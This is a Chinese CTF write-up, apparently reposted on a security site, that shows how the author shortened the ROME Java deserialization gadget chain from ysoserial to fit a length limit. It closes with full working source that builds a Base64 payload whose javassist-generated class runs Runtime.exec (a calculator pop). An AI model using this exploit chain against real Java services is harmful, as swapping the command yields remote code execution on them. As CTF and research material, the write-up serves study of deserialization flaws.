ROME改造计划

admin 2024年10月29日00:01:45评论5 views字数 6311阅读21分2秒阅读模式

ROME改造计划

成果

从ysoserial原本的4000+缩短到1320(Base64+弹计算器)

写在前面

​ 首先非常感谢这次的D^3CTF给我一次学习的机会,两个Java题都挺有意思学到了不同的东西,因为第二个比较简单就不分享了,这里分享一下如何去缩短ROME利用链,本身我也是之前没学习过ROME,这里以一个旁观者的视角来讲述好累,全篇没有各种高级技术不涉及ASM的改造,仅仅只是一些Trick和利用链的精简,同时非常感谢我的同学@HolaAs以及我的朋友@风潇在我做题过程当中给我的帮助

简单分析

首先看看路由,很简单要求传入字符长度不超过1956

ROME改造计划

接下来免不了找依赖后面发现了ROME可以用,在ysoserial里面直接食用,可以惊讶的看到这里只有短短的4400那么“短”,痛!太痛了!

ROME改造计划

哎呀怎么办呢?既然要改造免不了需要先看看调用链

1234567891011121314151617
/** * * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * */

既然要改造我的思路是,先精简利用链,再减少细节

看到这里我能有个想法就是从调用readObject到tostring都能尝试类替换,最下层的个人感觉似乎没啥必要了,那直接再往上啰?

简单了解

很明显,既然要尝试去改造一条链子,那第一步就要去深入了解他!

这里就省去介绍ObjectBeanToStringBean等类了百度都有,不做搬运工

先做个简单总结

  1. HashMap->readObject 触发 ObjectBean->hashCode
  2. 触发ObjectBean 内封装的 ObjectBean -> toString 方法,之后就可以触发利用链

也简单看看图啰ROME改造计划

EqualsBean触发toString

ROME改造计划

紧接着com.sun.syndication.feed.impl.ToStringBean#toString(java.lang.String)会调用所有 getter 方法,多提一嘴其实BeanIntrospector.getPropertyDescriptors会获取所有getter/setter,但是下面有参数长度0那按照正常人代码就只剩getter了

ROME改造计划

因此最终通过触发getOutputProperties实现字节码加载

通常ysoserial更细节,会多很多细节,可能会更短,但不影响,这里我们简单按照逻辑写一下代码,加深理解

果然不出我所料更长了!

ROME改造计划

但这里主要是学习思路

改造

失败滴改造尝试

可以很明显的看到在这里有个触发toString的过程,那么很容易就能想到之前通过BadAttributeValueExpException去触发toString这件事,构造完后看看,哦寄了!属于是帮倒忙第一名了,拜拜再见不联系了嘞!

ROME改造计划

成功滴改造尝试

Step1–改造利用链

在之前的过程当中有个地方非常吸引我,com.sun.syndication.feed.impl.EqualsBean#equals方法

ROME改造计划

可以看到equals最终调用beanEquals这不就和com.sun.syndication.feed.impl.ToStringBean#toString很像么,但是如何能触发equals方法呢

借用p牛的一句话,但是jdk7u21的场景不适合我们这里,原因请看p牛知识星球(打波广告p牛看到请给钱)

调用equals的场景就是集合set。set中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作

但是这个很明显并不适合我们这个场景(两个相同对象hashCode都一样了就不可能成功了,不多说自己想)

那还有啥利用么,当然有的,比如HashMap对key也有这个神奇的机制,

为了解决这个问题,我们抽丝剥茧慢慢来啰,下面的只是对后面做铺垫

先来个简单的场景,首先看下面这个代码

123456
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();objectObjectHashMap.put("aa","");objectObjectHashMap1.put("bB","");System.out.println(objectObjectHashMap.hashCode());System.out.println(objectObjectHashMap1.hashCode());

会觉得他们相同吗,答案很显然

ROME改造计划

为什么呢,可以看到,由于我们value为空其实就是比较key的hashCode了

123
public final int hashCode() {    return Objects.hashCode(key) ^ Objects.hashCode(value);}

对于一个String类型其hashCode,考虑两个元素的场景也就是31*val[0]+val[1]=31val[0]+val[1],因此第一个元素如果比第二个元素小1,第二个元素就必须比第一个元素大31

ROME改造计划

现在场景提升

1234
objectObjectHashMap.put("aa","1");objectObjectHashMap.put("bB","2");objectObjectHashMap1.put("aa","2");objectObjectHashMap1.put("bB","1");

仍然相等,对于这个场景里面有两个元素,它会调用父类的java.util.AbstractMap#hashCode

1234567
public int hashCode() {  int h = 0;  Iterator<Entry<K,V>> i = entrySet().iterator();  while (i.hasNext())    h += i.next().hashCode();  return h;}

为了简化理解可以把上面的场景代码简化为(毕竟aabB相等),这样看是不是就很好理解了

1234
objectObjectHashMap.put("aa","1");objectObjectHashMap.put("aa","2");objectObjectHashMap1.put("aa","2");objectObjectHashMap1.put("aa","1");

有了这个基础,再次回到我们构造ROME的过程当中

现在我们已经知道了java.util.HashMap#putVal在key的hashCode一致的时候会触发equals方法调用,但是此刻我们的代码的key是String类型调用了也没用啊,这里很巧的是在HashMap的equals方法当中,当对象大于1时会转而调用父类java.util.AbstractMap#equals,可以很明显看到这里调用了value.equals,同时这里我们需要将equals的传参数改为TemplatesImpl对象

ROME改造计划

那如何搞定呢,那就是把两个map的value颠倒一下具体为什么自己想想很简单(“aa”=>bean.quals(“aa”=>templates))这里=>表示对应

1234
map1.put("aa",templates);map1.put("bB",bean);map2.put("aa",bean);map2.put("bB",templates);

因此安这个思路我们可以得到

ROME改造计划

痛!太痛了!不过还是缩了一千多了?

仔细一想罪魁祸首就是Gadgets.createTemplatesImpl(command);

Step2–超级小Trick

那我们来看看这个ysoserial生成的类是啥样子ROME改造计划

这里很多东西我们都可以改,啥serialVersionUIDPwner311912468728708、等等这些都可以拿下

但是你以为这样就ok了,给大家看个骚的

没有trycatch,没有实现抽象类的方法,这怎么实现的!!!

ROME改造计划

我们平时javac编译的时候,同样的代码都会报错

ROME改造计划

那上面这个咋搞的嘞,而且不报错,那就是javassist啰,不用ASM去操作好极了

ROME改造计划

现在再看看长度嘞,1324小草莓坏笑

ROME改造计划

测试下嘞ok计算器来了,记得url编码一下哦!

ROME改造计划

最终代码

Rome.java

123456789101112131415161718192021222324252627282930313233343536373839
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;import java.util.HashMap;import static sec.payload.Payload.setFieldValue;public class Rome {public static void main(String[] args) throws Exception {TemplatesImpl templates = GetTemplatesImpl.getTemplatesImpl();EqualsBean bean = new EqualsBean(String.class,"");HashMap map1 = new HashMap();HashMap map2 = new HashMap();map1.put("aa",templates);map1.put("bB",bean);map2.put("aa",bean);map2.put("bB",templates);HashMap map = new HashMap();map.put(map1,"");map.put(map2,"");setFieldValue(bean,"_beanClass",Templates.class);setFieldValue(bean,"_obj",templates);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(map);System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())).length());}}

GetTemplatesImpl.java

12345678910111213141516171819202122232425
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.lang.reflect.Field;public class GetTemplatesImpl {    public static TemplatesImpl getTemplatesImpl() throws Exception{        byte[][] bytes = new byte[][]{GenerateEvilByJavaassist.generate()};        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setValue(templates, "_bytecodes", bytes);        setValue(templates, "_name", "1");        setValue(templates, "_tfactory", null);        return  templates;    }    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }}

GenerateEvilByJavaassist.java

12345678910111213141516171819
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;public class GenerateEvilByJavaassist {    public static byte[] generate() throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");        clazz.addConstructor(constructor);        return clazz.toBytecode();    }}

- source:y4tacker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:01:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ROME改造计划https://cn-sec.com/archives/3314985.html

发表评论

匿名网友 填写信息